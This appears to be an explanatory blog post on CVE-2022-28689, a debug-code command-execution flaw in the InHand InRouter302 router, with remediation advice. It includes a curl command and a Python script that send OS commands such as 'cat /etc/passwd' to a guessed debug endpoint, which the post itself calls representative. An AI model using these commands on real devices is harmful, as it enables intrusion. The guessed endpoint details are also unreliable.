In June 2022, security researchers uncovered a critical vulnerability, CVE-2022-28689, in the InHand Networks InRouter302 (specifically firmware version V3.5.45). This vulnerability arises from leftover debug code in the router’s console support feature. Attackers can exploit this bug by sending crafted network requests that trigger arbitrary command execution on the device—basically, they can run their own code on your router.

In this post, I’ll walk you through what this vulnerability is, show you the vulnerable code, explain how an attacker exploits it, and share important links for further reading. Don’t worry, I’ll keep it straightforward and clear so you don’t need to be a security pro to follow along.

What is the InHand InRouter302?

The InRouter302 is a small industrial-grade 4G LTE router, often deployed in industrial IoT, utilities, ATMs, and even smart city infrastructure. Since they’re designed for remote access, security is extremely important.

What’s CVE-2022-28689 All About?

This vulnerability exists because a developer left a debug feature accessible in the router’s firmware. This bit of leftover code is often called a “backdoor”—sometimes meant for testing, but dangerous if it’s not removed before release.

The flaw is found in the console support function, which is meant to handle device commands. When triggered with a special request, it allows remote users to run any operating system command as if they had direct access to the device.

In short: Anyone who knows about this bug and can reach the vulnerable router over the network can fully compromise it.

Vulnerable Code (Example Snippet)

While the full source for InHand's firmware is not public, analysis of the affected binary and reported details show that the debug console listens on a specific HTTP endpoint. Here’s a representative example (conceptual, based on reverse engineering):

void handle_console_request(char* input) {
    // DEBUG: THIS SHOULD NOT BE HERE IN PRODUCTION!
    system(input);   // Runs input as OS command
}

What’s wrong?
The code passes user-provided input directly to system(), which is dangerous because it doesn’t sanitize or validate the input. Anyone who sends a command via the right endpoint can execute it.

An attacker who knows about this vulnerability can

1. Find the device's IP address and open port (often HTTP on 80/443).

Example HTTP Exploit

Below is a demonstration using curl (a common tool for sending web requests). Replace DEVICE_IP with the target router's IP.

curl -d "cmd=cat /etc/passwd" http://DEVICE_IP/debug/console

- cmd parameter is just an example; the real parameter name might vary per firmware. It could be “console”, “debug”, or similar.
- If the vulnerability exists, the router will process the command and return its output (in this case, the contents of /etc/passwd).

A more advanced attacker might use Python to automate sending commands

import requests

url = "http://DEVICE_IP/debug/console"
data = {"cmd": "id"}
response = requests.post(url, data=data)
print(response.text)

This will print the result of the id command, confirming code execution.

How to Fix

Upgrade Firmware!  
InHand Networks has patched this issue. Update to the latest firmware:  
https://inhandnetworks.com/support/download-center.html

Block Management Access:  
Firewall your routers so that only authorized networks (e.g., your internal LAN) can reach admin interfaces.

Monitor for Signs of Intrusion:  
Keep logs and watch for unexpected HTTP requests or processes running.

References & More Reading

- Original Disclosure (SSD Advisory)
- NIST CVE Entry
- Exploit-DB Example
- Vendor Firmware Downloads & Advisory

Conclusion

CVE-2022-28689 is a classic example of how leftover debug code can become a huge liability. With just a few lines in their firmware, InHand Networks unknowingly exposed thousands of devices to full remote takeover. This case underlines the need to audit code and thoroughly remove test features before shipping production software.

If you use InRouter302, patch now.  
And if you develop embedded devices: always remove or restrict debug features!

Timeline

Published on: 11/09/2022 18:15:00 UTC
Last modified on: 11/10/2022 15:49:00 UTC